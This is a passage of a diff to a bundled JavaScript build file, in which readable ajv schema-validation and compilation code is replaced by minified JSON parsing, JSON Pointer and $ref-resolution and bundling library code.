= i9 - 1, v9 = false; n9 < b9; ) { + var j7 = e12.charCodeAt(n9); + if (42 === j7 && 47 === e12.charCodeAt(n9 + 1)) { + n9 += 2, v9 = true; + break; + } + n9++, p7(j7) && (13 === j7 && 10 === e12.charCodeAt(n9) && n9++, d8++, l8 = n9); + } + return v9 || (n9++, m8 = 1), r9 = e12.substring(y9, n9), s8 = 13; + } + return r9 += String.fromCharCode(t11), n9++, s8 = 16; + case 45: + if (r9 += String.fromCharCode(t11), ++n9 === i9 || !c7(e12.charCodeAt(n9))) + return s8 = 16; + case 48: + case 49: + case 50: + case 51: + case 52: + case 53: + case 54: + case 55: + case 56: + case 57: + return r9 += function() { + var t12 = n9; + if (48 === e12.charCodeAt(n9)) + n9++; + else + for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) + n9++; + if (n9 < e12.length && 46 === e12.charCodeAt(n9)) { + if (!(++n9 < e12.length && c7(e12.charCodeAt(n9)))) + return m8 = 3, e12.substring(t12, n9); + for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) + n9++; + } + var i10 = n9; + if (n9 < e12.length && (69 === e12.charCodeAt(n9) || 101 === e12.charCodeAt(n9))) + if ((++n9 < e12.length && 43 === e12.charCodeAt(n9) || 45 === e12.charCodeAt(n9)) && n9++, n9 < e12.length && c7(e12.charCodeAt(n9))) { + for (n9++; n9 < e12.length && c7(e12.charCodeAt(n9)); ) + n9++; + i10 = n9; + } else + m8 = 3; + return e12.substring(t12, i10); + }(), s8 = 11; + default: + for (; n9 < i9 && g8(t11); ) + n9++, t11 = e12.charCodeAt(n9); + if (o8 !== n9) { + switch (r9 = e12.substring(o8, n9)) { + case "true": + return s8 = 8; + case "false": + return s8 = 9; + case "null": + return s8 = 7; + } + return s8 = 16; + } + return r9 += String.fromCharCode(t11), n9++, s8 = 16; + } + } + function g8(e13) { + if (a7(e13) || p7(e13)) + return false; + switch (e13) { + case 125: + case 93: + case 123: + case 91: + case 34: + case 58: + case 44: + case 47: + return false; + } + return true; } + return { setPosition: function(e13) { + n9 = e13, r9 = "", o8 = 0, s8 = 16, m8 = 0; + }, getPosition: function() { + return n9; + }, scan: t10 ? function() { + var e13; + do { + e13 = y8(); + } while (e13 >= 12 && e13 <= 15); + return e13; + } : y8, getToken: function() { + return s8; + }, getTokenValue: function() { + return r9; + }, getTokenOffset: function() { + return o8; + }, getTokenLength: function() { + return n9 - o8; + }, getTokenStartLine: function() { + return f9; + }, getTokenStartCharacter: function() { + return o8 - u8; + }, getTokenError: function() { + return m8; + } }; } - }); - } - function checkStrictTypes(it2, types3) { - if (it2.schemaEnv.meta || !it2.opts.strictTypes) - return; - checkContextTypes(it2, types3); - if (!it2.opts.allowUnionTypes) - checkMultipleTypes(it2, types3); - checkKeywordTypes(it2, it2.dataTypes); - } - function checkContextTypes(it2, types3) { - if (!types3.length) - return; - if (!it2.dataTypes.length) { - it2.dataTypes = types3; - return; - } - types3.forEach((t8) => { - if (!includesType(it2.dataTypes, t8)) { - strictTypesError(it2, `type "${t8}" not allowed by context "${it2.dataTypes.join(",")}"`); + function a7(e12) { + return 32 === e12 || 9 === e12 || 11 === e12 || 12 === e12 || 160 === e12 || 5760 === e12 || e12 >= 8192 && e12 <= 8203 || 8239 === e12 || 8287 === e12 || 12288 === e12 || 65279 === e12; } - }); - narrowSchemaTypes(it2, types3); - } - function checkMultipleTypes(it2, ts) { - if (ts.length > 1 && !(ts.length === 2 && ts.includes("null"))) { - strictTypesError(it2, "use allowUnionTypes to allow union type keyword"); - } - } - function checkKeywordTypes(it2, ts) { - const rules = it2.self.RULES.all; - for (const keyword in rules) { - const rule = rules[keyword]; - if (typeof rule == "object" && (0, applicability_1.shouldUseRule)(it2.schema, rule)) { - const { type: type3 } = rule.definition; - if (type3.length && !type3.some((t8) => hasApplicableType(ts, t8))) { - strictTypesError(it2, `missing type "${type3.join(",")}" for keyword "${keyword}"`); + function p7(e12) { + return 10 === e12 || 13 === e12 || 8232 === e12 || 8233 === e12; + } + function c7(e12) { + return e12 >= 48 && e12 <= 57; + } + !function(e12) { + e12.DEFAULT = { allowTrailingComma: false }; + }(n8 || (n8 = {})); + var d7 = s7, f8 = function e12(t10, i9, n9) { + if (void 0 === n9 && (n9 = false), function(e13, t11, i10) { + return void 0 === i10 && (i10 = false), t11 >= e13.offset && t11 < e13.offset + e13.length || i10 && t11 === e13.offset + e13.length; + }(t10, i9, n9)) { + var r9 = t10.children; + if (Array.isArray(r9)) + for (var o8 = 0; o8 < r9.length && r9[o8].offset <= i9; o8++) { + var s8 = e12(r9[o8], i9, n9); + if (s8) + return s8; + } + return t10; + } + }, l7 = function e12(t10) { + if (!t10.parent || !t10.parent.children) + return []; + var i9 = e12(t10.parent); + if ("property" === t10.parent.type) { + var n9 = t10.parent.children[0].value; + i9.push(n9); + } else if ("array" === t10.parent.type) { + var r9 = t10.parent.children.indexOf(t10); + -1 !== r9 && i9.push(r9); + } + return i9; + }, u7 = function(e12, t10, i9) { + void 0 === i9 && (i9 = n8.DEFAULT); + var r9 = s7(e12, false); + function o8(e13) { + return e13 ? function() { + return e13(r9.getTokenOffset(), r9.getTokenLength(), r9.getTokenStartLine(), r9.getTokenStartCharacter()); + } : function() { + return true; + }; + } + function a8(e13) { + return e13 ? function(t11) { + return e13(t11, r9.getTokenOffset(), r9.getTokenLength(), r9.getTokenStartLine(), r9.getTokenStartCharacter()); + } : function() { + return true; + }; + } + var p8 = o8(t10.onObjectBegin), c8 = a8(t10.onObjectProperty), d8 = o8(t10.onObjectEnd), f9 = o8(t10.onArrayBegin), l8 = o8(t10.onArrayEnd), u8 = a8(t10.onLiteralValue), m8 = a8(t10.onSeparator), h9 = o8(t10.onComment), y8 = a8(t10.onError), g8 = i9 && i9.disallowComments, b9 = i9 && i9.allowTrailingComma; + function v9() { + for (; ; ) { + var e13 = r9.scan(); + switch (r9.getTokenError()) { + case 4: + j7(14); + break; + case 5: + j7(15); + break; + case 3: + j7(13); + break; + case 1: + g8 || j7(11); + break; + case 2: + j7(12); + break; + case 6: + j7(16); + } + switch (e13) { + case 12: + case 13: + g8 ? j7(10) : h9(); + break; + case 16: + j7(1); + break; + case 15: + case 14: + break; + default: + return e13; + } + } + } + function j7(e13, t11, i10) { + if (void 0 === t11 && (t11 = []), void 0 === i10 && (i10 = []), y8(e13), t11.length + i10.length > 0) + for (var n9 = r9.getToken(); 17 !== n9; ) { + if (-1 !== t11.indexOf(n9)) { + v9(); + break; + } + if (-1 !== i10.indexOf(n9)) + break; + n9 = v9(); + } + } + function $6(e13) { + var t11 = r9.getTokenValue(); + return e13 ? u8(t11) : c8(t11), v9(), true; + } + return v9(), 17 === r9.getToken() ? !!i9.allowEmptyContent || (j7(4, [], []), false) : function e13() { + switch (r9.getToken()) { + case 3: + return function() { + f9(), v9(); + for (var t11 = false; 4 !== r9.getToken() && 17 !== r9.getToken(); ) { + if (5 === r9.getToken()) { + if (t11 || j7(4, [], []), m8(","), v9(), 4 === r9.getToken() && b9) + break; + } else + t11 && j7(6, [], []); + e13() || j7(4, [], [4, 5]), t11 = true; + } + return l8(), 4 !== r9.getToken() ? j7(8, [4], []) : v9(), true; + }(); + case 1: + return function() { + p8(), v9(); + for (var t11 = false; 2 !== r9.getToken() && 17 !== r9.getToken(); ) { + if (5 === r9.getToken()) { + if (t11 || j7(4, [], []), m8(","), v9(), 2 === r9.getToken() && b9) + break; + } else + t11 && j7(6, [], []); + (10 !== r9.getToken() ? (j7(3, [], [2, 5]), 0) : ($6(false), 6 === r9.getToken() ? (m8(":"), v9(), e13() || j7(4, [], [2, 5])) : j7(5, [], [2, 5]), 1)) || j7(4, [], [2, 5]), t11 = true; + } + return d8(), 2 !== r9.getToken() ? j7(7, [2], []) : v9(), true; + }(); + case 10: + return $6(true); + default: + return function() { + switch (r9.getToken()) { + case 11: + var e14 = 0; + try { + "number" != typeof (e14 = JSON.parse(r9.getTokenValue())) && (j7(2), e14 = 0); + } catch (e15) { + j7(2); + } + u8(e14); + break; + case 7: + u8(null); + break; + case 8: + u8(true); + break; + case 9: + u8(false); + break; + default: + return false; + } + return v9(), true; + }(); + } + }() ? (17 !== r9.getToken() && j7(9, [], []), true) : (j7(4, [], []), false); + }; + function m7(e12) { + switch (e12) { + case 1: + return "InvalidSymbol"; + case 2: + return "InvalidNumberFormat"; + case 3: + return "PropertyNameExpected"; + case 4: + return "ValueExpected"; + case 5: + return "ColonExpected"; + case 6: + return "CommaExpected"; + case 7: + return "CloseBraceExpected"; + case 8: + return "CloseBracketExpected"; + case 9: + return "EndOfFileExpected"; + case 10: + return "InvalidCommentToken"; + case 11: + return "UnexpectedEndOfComment"; + case 12: + return "UnexpectedEndOfString"; + case 13: + return "UnexpectedEndOfNumber"; + case 14: + return "InvalidUnicode"; + case 15: + return "InvalidEscapeCharacter"; + case 16: + return "InvalidCharacter"; } + return ""; } - } - } - function hasApplicableType(schTs, kwdT) { - return schTs.includes(kwdT) || kwdT === "number" && schTs.includes("integer"); - } - function includesType(ts, t8) { - return ts.includes(t8) || t8 === "integer" && ts.includes("number"); - } - function narrowSchemaTypes(it2, withTypes) { - const ts = []; - for (const t8 of it2.dataTypes) { - if (includesType(withTypes, t8)) - ts.push(t8); - else if (withTypes.includes("integer") && t8 === "number") - ts.push("integer"); - } - it2.dataTypes = ts; - } - function strictTypesError(it2, msg) { - const schemaPath = it2.schemaEnv.baseId + it2.errSchemaPath; - msg += ` at "${schemaPath}" (strictTypes)`; - (0, util_1.checkStrictMode)(it2, msg, it2.opts.strictTypes); - } - var KeywordCxt = class { - constructor(it2, def, keyword) { - (0, keyword_1.validateKeywordUsage)(it2, def, keyword); - this.gen = it2.gen; - this.allErrors = it2.allErrors; - this.keyword = keyword; - this.data = it2.data; - this.schema = it2.schema[keyword]; - this.$data = def.$data && it2.opts.$data && this.schema && this.schema.$data; - this.schemaValue = (0, util_1.schemaRefOrVal)(it2, this.schema, keyword, this.$data); - this.schemaType = def.schemaType; - this.parentSchema = it2.schema; - this.params = {}; - this.it = it2; - this.def = def; - if (this.$data) { - this.schemaCode = it2.gen.const("vSchema", getData2(this.$data, it2)); - } else { - this.schemaCode = this.schemaValue; - if (!(0, keyword_1.validSchemaType)(this.schema, def.schemaType, def.allowUndefined)) { - throw new Error(`${keyword} value must be ${JSON.stringify(def.schemaType)}`); + const h8 = `__object_order_${Math.floor(Date.now() / 36e5)}__`, y7 = Symbol.for(h8), g7 = (String(y7), { defineProperty: (e12, t10, i9) => (!Object.prototype.hasOwnProperty.call(e12, t10) && y7 in e12 ? e12[y7].push(t10) : "value" in i9 && t10 === y7 && -1 === i9.value.lastIndexOf(y7) && i9.value.push(y7), Reflect.defineProperty(e12, t10, i9)), deleteProperty(e12, t10) { + const i9 = Object.prototype.hasOwnProperty.call(e12, t10), n9 = Reflect.deleteProperty(e12, t10); + if (n9 && i9 && y7 in e12) { + const i10 = e12[y7].indexOf(t10); + -1 !== i10 && e12[y7].splice(i10, 1); } + return n9; + }, ownKeys: (e12) => y7 in e12 ? e12[y7] : Reflect.ownKeys(e12), set(e12, t10, i9) { + const n9 = Object.prototype.hasOwnProperty.call(e12, t10), r9 = Reflect.set(e12, t10, i9); + return r9 && !n9 && y7 in e12 && e12[y7].push(t10), r9; + } }); + function b8(e12, t10 = Reflect.ownKeys(e12)) { + "undefined" != typeof process && v8(process) && v8(process.env); + const i9 = new Proxy(e12, g7); + return function(e13, t11) { + y7 in e13 ? (e13[y7].length = 0, e13[y7].push(...t11)) : Reflect.defineProperty(e13, y7, { configurable: true, value: t11 }); + }(i9, t10), i9; } - if ("code" in def ? def.trackErrors : def.errors !== false) { - this.errsCount = it2.gen.const("_errs", names_1.default.errors); + function v8(e12) { + return null !== e12 && "object" == typeof e12; } - } - result(condition, successAction, failAction) { - this.failResult((0, codegen_1.not)(condition), successAction, failAction); - } - failResult(condition, successAction, failAction) { - this.gen.if(condition); - if (failAction) - failAction(); - else - this.error(); - if (successAction) { - this.gen.else(); - successAction(); - if (this.allErrors) - this.gen.endIf(); - } else { - if (this.allErrors) - this.gen.endIf(); - else - this.gen.else(); + var j6 = i8(94169), $5 = i8(11145), x7 = i8.n($5); + function _6(e12) { + if ("object" != typeof e12 || null === e12) + return false; + const t10 = Object.getPrototypeOf(e12); + return null === t10 || t10 === Object.prototype || "function" == typeof e12.constructor && Function.toString.call(Object) === Function.toString.call(e12.constructor); } - } - pass(condition, failAction) { - this.failResult((0, codegen_1.not)(condition), void 0, failAction); - } - fail(condition) { - if (condition === void 0) { - this.error(); - if (!this.allErrors) - this.gen.if(false); - return; + function w6(e12, t10, i9) { + if (!_6(e12) && !Array.isArray(e12) || !(t10 in e12)) + throw new ReferenceError(`Could not resolve '${i9}'`); } - this.gen.if(condition); - this.error(); - if (this.allErrors) - this.gen.endIf(); - else - this.gen.else(); - } - fail$data(condition) { - if (!this.$data) - return this.fail(condition); - const { schemaCode } = this; - this.fail((0, codegen_1._)`${schemaCode} !== undefined && (${(0, codegen_1.or)(this.invalid$data(), condition)})`); - } - error(append, errorParams, errorPaths) { - if (errorParams) { - this.setParams(errorParams); - this._error(append, errorPaths); - this.setParams({}); - return; + function S6(e12) { + if ("string" != typeof e12.$ref) + throw new TypeError("$ref should be a string"); } - this._error(append, errorPaths); - } - _error(append, errorPaths) { - ; - (append ? errors_1.reportExtraError : errors_1.reportError)(this, this.def.error, errorPaths); - } - $dataError() { - (0, errors_1.reportError)(this, this.def.$dataError || errors_1.keyword$DataError); - } - reset() { - if (this.errsCount === void 0) - throw new Error('add "trackErrors" to keyword definition'); - (0, errors_1.resetErrorsCount)(this.gen, this.errsCount); - } - ok(cond2) { - if (!this.allErrors) - this.gen.if(cond2); - } - setParams(obj, assign3) { - if (assign3) - Object.assign(this.params, obj); - else - this.params = obj; - } - block$data(valid, codeBlock, $dataValid = codegen_1.nil) { - this.gen.block(() => { - this.check$data(valid, $dataValid); - codeBlock(); - }); - } - check$data(valid = codegen_1.nil, $dataValid = codegen_1.nil) { - if (!this.$data) - return; - const { gen, schemaCode, schemaType, def } = this; - gen.if((0, codegen_1.or)((0, codegen_1._)`${schemaCode} === undefined`, $dataValid)); - if (valid !== codegen_1.nil) - gen.assign(valid, true); - if (schemaType.length || def.validateSchema) { - gen.elseIf(this.invalid$data()); - this.$dataError(); - if (valid !== codegen_1.nil) - gen.assign(valid, false); + const P6 = (e12) => _6(e12) && "$ref" in e12, O7 = (e12) => P6(e12) && "string" == typeof e12.$ref, T6 = (e12) => e12.length > 0 && ("#" === e12 || /^#\S*$/.test(e12)), A6 = (e12, t10, i9) => { + const n9 = e12.toString(); + let r9 = "", o8 = n9, s8 = 0, a8 = o8.indexOf(t10); + for (; a8 > -1; ) + r9 += n9.substring(s8, s8 + a8) + i9, o8 = o8.substring(a8 + t10.length, o8.length), s8 += a8 + t10.length, a8 = o8.indexOf(t10); + return o8.length > 0 && (r9 += n9.substring(n9.length - o8.length, n9.length)), r9; + }, I6 = (e12) => "number" == typeof e12 ? e12 : A6(A6(e12, "~", "~0"), "/", "~1"), E6 = /[^a-zA–Z0–9_.!~*'()\/\-\u{D800}-\u{DFFF}]/gu; + function q5(e12) { + return e12.replace(E6, encodeURIComponent); } - gen.else(); - } - invalid$data() { - const { gen, schemaCode, schemaType, def, it: it2 } = this; - return (0, codegen_1.or)(wrong$DataType(), invalid$DataSchema()); - function wrong$DataType() { - if (schemaType.length) { - if (!(schemaCode instanceof codegen_1.Name)) - throw new Error("ajv implementation error"); - const st2 = Array.isArray(schemaType) ? schemaType : [schemaType]; - return (0, codegen_1._)`${(0, dataType_2.checkDataTypes)(st2, schemaCode, it2.opts.strictNumbers, dataType_2.DataType.Wrong)}`; + const k6 = (e12) => { + const t10 = I6(e12); + return "number" == typeof t10 ? t10 : q5(t10); + }, M6 = (e12) => R6(e12), R6 = (e12) => { + if (e12 && "object" != typeof e12) + throw new TypeError("Invalid type: path must be an array of segments."); + return 0 === e12.length ? "#" : `#/${e12.map(k6).join("/")}`; + }; + function D6(e12) { + try { + return decodeURIComponent(e12); + } catch (t10) { + return e12; } - return codegen_1.nil; } - function invalid$DataSchema() { - if (def.validateSchema) { - const validateSchemaRef = gen.scopeValue("validate$data", { ref: def.validateSchema }); - return (0, codegen_1._)`!${validateSchemaRef}(${schemaCode})`; + const C6 = /%[0-9a-f]+/gi, V5 = (e12) => { + let t10; + try { + t10 = decodeURIComponent(e12); + } catch (i9) { + t10 = e12.replace(C6, D6); } - return codegen_1.nil; - } - } - subschema(appl, valid) { - const subschema = (0, subschema_1.getSubschema)(this.it, appl); - (0, subschema_1.extendSubschemaData)(subschema, this.it, appl); - (0, subschema_1.extendSubschemaMode)(subschema, appl); - const nextContext = { ...this.it, ...subschema, items: void 0, props: void 0 }; - subschemaCode(nextContext, valid); - return nextContext; - } - mergeEvaluated(schemaCxt, toName) { - const { it: it2, gen } = this; - if (!it2.opts.unevaluated) - return; - if (it2.props !== true && schemaCxt.props !== void 0) { - it2.props = util_1.mergeEvaluated.props(gen, schemaCxt.props, it2.props, toName); - } - if (it2.items !== true && schemaCxt.items !== void 0) { - it2.items = util_1.mergeEvaluated.items(gen, schemaCxt.items, it2.items, toName); + return A6(A6(t10, "~1", "/"), "~0", "~"); + }, N6 = (e12) => F6(e12), F6 = (e12) => { + if ("string" != typeof e12) + throw new TypeError("Invalid type: JSON Pointers are represented as strings."); + if (0 === e12.length || "#" !== e12[0]) + throw new URIError("Invalid JSON Pointer syntax; URI fragment identifiers must begin with a hash."); + if (1 === e12.length) + return []; + if ("/" !== e12[1]) + throw new URIError("Invalid JSON Pointer syntax."); + return ((e13) => { + const t10 = e13.length, i9 = []; + let n9 = -1; + for (; ++n9 < t10; ) + i9.push(V5(e13[n9])); + return i9; + })(e12.substring(2).split("/")); + }, U6 = (e12, t10, i9) => { + const n9 = { value: e12, path: i9 }; + t10.onEnter && t10.onEnter(n9); + for (const n10 of Object.keys(e12)) { + const r9 = e12[n10]; + t10.onProperty && t10.onProperty({ parent: e12, parentPath: i9, property: n10, propertyValue: r9 }), "object" == typeof r9 && null !== r9 && U6(r9, t10, i9.concat(n10)); + } + t10.onLeave && t10.onLeave(n9); + }, L6 = (e12, t10) => { + "object" == typeof e12 && null !== e12 && U6(e12, "function" == typeof t10 ? { onProperty: t10 } : t10, []); + }; + function z6(e12, t10, i9) { + L6(e12, { onProperty({ property: e13, propertyValue: n9, parent: r9 }) { + "$ref" === e13 && "string" == typeof n9 && n9.startsWith(t10) && (r9.$ref = `${i9}${n9.slice(t10.length)}`); + } }); } - } - mergeValidEvaluated(schemaCxt, valid) { - const { it: it2, gen } = this; - if (it2.opts.unevaluated && (it2.props !== true || it2.items !== true)) { - gen.if(valid, () => this.mergeEvaluated(schemaCxt, codegen_1.Name)); - return true; + const B6 = (e12) => e12.length > 0 && "#" !== e12[0], Q5 = (e12) => { + if ("string" != typeof e12 || 0 === e12.length || !B6(e12)) + return null; + const t10 = e12.indexOf("#"); + return -1 === t10 ? e12 : e12.slice(0, t10); + }; + function K5(e12, t10) { + return _6(t10) && _6(e12) && ("summary" in e12 || "description" in e12) ? Object.assign(Object.assign(Object.assign({}, t10), "description" in e12 ? { description: e12.description } : null), "summary" in e12 ? { summary: e12.summary } : null) : t10; } - } - }; - exports28.KeywordCxt = KeywordCxt; - function keywordCode(it2, keyword, def, ruleType) { - const cxt = new KeywordCxt(it2, def, keyword); - if ("code" in def) { - def.code(cxt, ruleType); - } else if (cxt.$data && def.validate) { - (0, keyword_1.funcKeywordCode)(cxt, def); - } else if ("macro" in def) { - (0, keyword_1.macroKeywordCode)(cxt, def); - } else if (def.compile || def.validate) { - (0, keyword_1.funcKeywordCode)(cxt, def); - } - } - var JSON_POINTER = /^\/(?:[^~]|~0|~1)*$/; - var RELATIVE_JSON_POINTER = /^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/; - function getData2($data, { dataLevel, dataNames, dataPathArr }) { - let jsonPointer; - let data; - if ($data === "") - return names_1.default.rootData; - if ($data[0] === "/") { - if (!JSON_POINTER.test($data)) - throw new Error(`Invalid JSON-pointer: ${$data}`); - jsonPointer = $data; - data = names_1.default.rootData; - } else { - const matches2 = RELATIVE_JSON_POINTER.exec($data); - if (!matches2) - throw new Error(`Invalid JSON-pointer: ${$data}`); - const up = +matches2[1]; - jsonPointer = matches2[2]; - if (jsonPointer === "#") { - if (up >= dataLevel) - throw new Error(errorMsg("property/index", up)); - return dataPathArr[dataLevel - up]; + function* H5(e12, t10, i9) { + P6(e12.value) && (S6(e12.value), yield [-1, e12.value]); + for (const [n9, r9] of t10.entries()) + w6(e12.value, r9, i9), e12.value = e12.value[r9], P6(e12.value) && (S6(e12.value), yield [n9, e12.value]); } - if (up > dataLevel) - throw new Error(errorMsg("data", up)); - data = dataNames[dataLevel - up]; - if (!jsonPointer) - return data; - } - let expr = data; - const segments = jsonPointer.split("/"); - for (const segment of segments) { - if (segment) { - data = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)((0, util_1.unescapeJsonPointer)(segment))}`; - expr = (0, codegen_1._)`${expr} && ${data}`; + function G5(e12, t10) { + return W5(e12, t10).value; } - } - return expr; - function errorMsg(pointerType, up) { - return `Cannot access ${pointerType} ${up} levels up, current level is ${dataLevel}`; - } - } - exports28.getData = getData2; - } -}); - -// node_modules/ajv/dist/runtime/validation_error.js -var require_validation_error = __commonJS({ - "node_modules/ajv/dist/runtime/validation_error.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var ValidationError = class extends Error { - constructor(errors) { - super("validation failed"); - this.errors = errors; - this.ajv = this.validation = true; - } - }; - exports28.default = ValidationError; - } -}); - -// node_modules/ajv/dist/compile/ref_error.js -var require_ref_error = __commonJS({ - "node_modules/ajv/dist/compile/ref_error.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var resolve_1 = require_resolve(); - var MissingRefError = class extends Error { - constructor(resolver, baseId, ref, msg) { - super(msg || `can't resolve reference ${ref} from id ${baseId}`); - this.missingRef = (0, resolve_1.resolveUrl)(resolver, baseId, ref); - this.missingSchema = (0, resolve_1.normalizeId)((0, resolve_1.getFullPath)(resolver, this.missingRef)); - } - }; - exports28.default = MissingRefError; - } -}); - -// node_modules/ajv/dist/compile/index.js -var require_compile = __commonJS({ - "node_modules/ajv/dist/compile/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.resolveSchema = exports28.getCompilingSchema = exports28.resolveRef = exports28.compileSchema = exports28.SchemaEnv = void 0; - var codegen_1 = require_codegen(); - var validation_error_1 = require_validation_error(); - var names_1 = require_names(); - var resolve_1 = require_resolve(); - var util_1 = require_util(); - var validate_1 = require_validate(); - var SchemaEnv = class { - constructor(env3) { - var _a2; - this.refs = {}; - this.dynamicAnchors = {}; - let schema8; - if (typeof env3.schema == "object") - schema8 = env3.schema; - this.schema = env3.schema; - this.schemaId = env3.schemaId; - this.root = env3.root || this; - this.baseId = (_a2 = env3.baseId) !== null && _a2 !== void 0 ? _a2 : (0, resolve_1.normalizeId)(schema8 === null || schema8 === void 0 ? void 0 : schema8[env3.schemaId || "$id"]); - this.schemaPath = env3.schemaPath; - this.localRefs = env3.localRefs; - this.meta = env3.meta; - this.$async = schema8 === null || schema8 === void 0 ? void 0 : schema8.$async; - this.refs = {}; - } - }; - exports28.SchemaEnv = SchemaEnv; - function compileSchema(sch) { - const _sch = getCompilingSchema.call(this, sch); - if (_sch) - return _sch; - const rootId = (0, resolve_1.getFullPath)(this.opts.uriResolver, sch.root.baseId); - const { es5, lines } = this.opts.code; - const { ownProperties } = this.opts; - const gen = new codegen_1.CodeGen(this.scope, { es5, lines, ownProperties }); - let _ValidationError; - if (sch.$async) { - _ValidationError = gen.scopeValue("Error", { - ref: validation_error_1.default, - code: (0, codegen_1._)`require("ajv/dist/runtime/validation_error").default` - }); - } - const validateName = gen.scopeName("validate"); - sch.validateName = validateName; - const schemaCxt = { - gen, - allErrors: this.opts.allErrors, - data: names_1.default.data, - parentData: names_1.default.parentData, - parentDataProperty: names_1.default.parentDataProperty, - dataNames: [names_1.default.data], - dataPathArr: [codegen_1.nil], - // TODO can its length be used as dataLevel if nil is removed? - dataLevel: 0, - dataTypes: [], - definedProperties: /* @__PURE__ */ new Set(), - topSchemaRef: gen.scopeValue("schema", this.opts.code.source === true ? { ref: sch.schema, code: (0, codegen_1.stringify)(sch.schema) } : { ref: sch.schema }), - validateName, - ValidationError: _ValidationError, - schema: sch.schema, - schemaEnv: sch, - rootId, - baseId: sch.baseId || rootId, - schemaPath: codegen_1.nil, - errSchemaPath: sch.schemaPath || (this.opts.jtd ? "" : "#"), - errorPath: (0, codegen_1._)`""`, - opts: this.opts, - self: this - }; - let sourceCode; - try { - this._compilations.add(sch); - (0, validate_1.validateFunctionCode)(schemaCxt); - gen.optimize(this.opts.code.optimize); - const validateCode = gen.toString(); - sourceCode = `${gen.scopeRefs(names_1.default.scope)}return ${validateCode}`; - if (this.opts.code.process) - sourceCode = this.opts.code.process(sourceCode, sch); - const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate15 = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate15 }); - validate15.errors = null; - validate15.schema = sch.schema; - validate15.schemaEnv = sch; - if (sch.$async) - validate15.$async = true; - if (this.opts.code.source === true) { - validate15.source = { validateName, validateCode, scopeValues: gen._values }; + function W5(e12, t10) { + return function e13(t11, i9, n9, r9) { + if (null !== Q5(i9)) + throw new ReferenceError("Cannot resolve external references"); + const o8 = N6(i9); + let s8 = [...o8]; + "#" === i9 && P6(t11) && (S6(t11), o8.unshift(...N6(t11.$ref))); + const a8 = { value: t11 }; + for (const [p8, c8] of H5(a8, o8, i9)) { + if (n9.includes(c8)) + return { source: null, location: null != r9 ? r9 : s8, value: n9[n9.length - 1] }; + n9.push(c8); + const i10 = e13(t11, c8.$ref, n9, s8); + a8.value = i10.value, (s8 = i10.location).push(...o8.slice(p8 + 1)); + } + return { source: null, location: s8, value: n9.length > 0 ? K5(n9[n9.length - 1], a8.value) : a8.value }; + }(e12, t10, []); } - if (this.opts.unevaluated) { - const { props, items } = schemaCxt; - validate15.evaluated = { - props: props instanceof codegen_1.Name ? void 0 : props, - items: items instanceof codegen_1.Name ? void 0 : items, - dynamicProps: props instanceof codegen_1.Name, - dynamicItems: items instanceof codegen_1.Name + const J5 = "#/__bundled__", Z5 = "#/__errors__", Y6 = ({ document: e12, path: t10, bundleRoot: i9 = "#/__bundled__", errorsRoot: n9 = "#/__errors__", cloneDocument: o8 = true, keyProvider: s8 }, a8) => { + if (t10 === i9 || t10 === n9) + throw new Error("Roots do not make any sense"); + const p8 = o8 ? (0, r8.cloneDeep)(e12) : e12; + return X5(p8, N6(i9), N6(n9), t10, s8)(t10, { [t10]: true }, a8); + }, X5 = (e12, t10, i9, n9, o8) => { + const s8 = /* @__PURE__ */ new Set(), a8 = (p8, c8, d8, f9 = {}, l8 = {}, u8 = {}) => { + const m8 = N6(p8), h9 = (0, r8.get)(e12, m8); + L6(d8 || h9, { onEnter: ({ value: i10 }) => { + if (O7(i10) && T6(i10.$ref)) { + const d9 = i10.$ref; + if (u8[d9]) + return; + if (d9 === p8 && (f9[d9] = "#"), f9[d9]) + return void (i10.$ref = f9[d9]); + let m9, h10, y9, g8, b9; + try { + let i11; + m9 = N6(d9), o8 && (i11 = o8({ document: e12, path: m9 })), i11 || (i11 = (({ document: e13, path: t11 }) => 0 === t11.length ? "root" : Array.isArray((0, r8.get)(e13, t11.slice(0, -1))) ? `${t11[t11.length - 2]}_${t11[t11.length - 1]}` : String(t11[t11.length - 1]))({ document: e12, path: m9 })), y9 = i11; + let n10 = 1; + for (; s8.has(y9); ) + if (y9 = `${i11}_${++n10}`, n10 > 20) + throw new Error(`Keys ${i11}_2 through ${i11}_20 already taken.`); + s8.add(y9), h10 = [...t10, y9], g8 = M6(h10); + } catch (e13) { + u8[d9] = e13 instanceof Error ? e13.message : String(e13); + } + if (!m9 || !h10 || !g8) + return; + if ("object" == typeof e12 && null !== e12 && !(b9 = (0, r8.get)(e12, m9))) + try { + b9 = G5(Object(e12), d9); + } catch (e13) { + } + void 0 !== b9 && (f9[d9] = g8, i10.$ref = g8, (0, r8.has)(l8, h10) || (Array.isArray(b9) ? (0, r8.set)(l8, h10, new Array(b9.length).fill(null)) : "object" == typeof b9 && (0, r8.setWith)(l8, h10, {}, Object), (0, r8.set)(l8, h10, b9), "#" === d9 ? function(e13, t11, i11, n10) { + const o9 = i11.map((e14) => `[${JSON.stringify(e14)}]`).join(""), s9 = JSON.parse(JSON.stringify((0, r8.omit)(Object(e13), o9))), a9 = {}; + (0, r8.set)(t11, n10, s9), (0, r8.set)(s9, i11, a9), z6(s9, "#", M6(n10)), a9.$ref = "#"; + }(e12, l8, N6(n9), h10) : c8[d9] || (c8[d9] = true, a8(p8, c8, b9, f9, l8, u8), c8[d9] = false))); + } + } }); + const y8 = (0, r8.get)(l8, t10); + return y8 && Object.keys(y8).length && (0, r8.set)(h9, t10, y8), (Object.keys(u8).length || (0, r8.has)(e12, i9)) && (0, r8.set)(h9, i9, (0, r8.has)(e12, i9) ? (0, r8.get)(e12, i9) : u8), h9; }; - if (validate15.source) - validate15.source.evaluated = (0, codegen_1.stringify)(validate15.evaluated); - } - sch.validate = validate15; - return sch; - } catch (e10) { - delete sch.validate; - delete sch.validateName; - if (sourceCode) - this.logger.error("Error compiling schema, function code:", sourceCode); - throw e10; - } finally { - 